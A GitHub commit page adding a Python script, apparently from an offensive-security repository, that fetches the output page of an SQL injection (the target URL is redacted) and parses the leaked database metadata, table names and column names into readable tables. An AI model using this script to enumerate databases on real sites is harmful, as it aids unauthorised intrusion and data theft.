Skip to content

Commit

Permalink
Create extract_metadata.py
Browse files Browse the repository at this point in the history
  • Loading branch information
lamcodeofpwnosec authored Dec 6, 2024
1 parent da7e94f commit e4793e8
Showing 1 changed file with 48 additions and 0 deletions.
48 changes: 48 additions & 0 deletions exploitation/extract_metadata.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,48 @@
import requests
from bs4 import BeautifulSoup
from prettytable import PrettyTable

# URL hasil SQL injection
url = "redacted_vulnerability_url"

# Request ke URL
response = requests.get(url)
response.raise_for_status()

# Parsing HTML dengan BeautifulSoup
soup = BeautifulSoup(response.text, "html.parser")

# Ekstrak tabel dari output
text = soup.get_text()

# Memisahkan tabel berdasarkan keyword "Table ::"
sections = text.split("Table ::")
metadata = sections[0].strip()

# Menampilkan metadata (database info)
metadata_table = PrettyTable()
metadata_table.field_names = ["Property", "Value"]

for line in metadata.splitlines():
if "::" in line:
key, value = line.split("::", 1)
metadata_table.add_row([key.strip(), value.strip()])

print("\n=== Database Metadata ===")
print(metadata_table)

# Menampilkan tabel database
for section in sections[1:]:
lines = section.strip().split("~")
table_name = lines[0].strip()
columns = [col.strip() for col in lines[1:] if col.strip()]

# Membuat tabel PrettyTable
table = PrettyTable()
table.field_names = ["Column Index", "Column Name"]

for idx, col in enumerate(columns, start=1):
table.add_row([idx, col])

print(f"\n=== Table: {table_name} ===")
print(table)

0 comments on commit e4793e8

Please sign in to comment.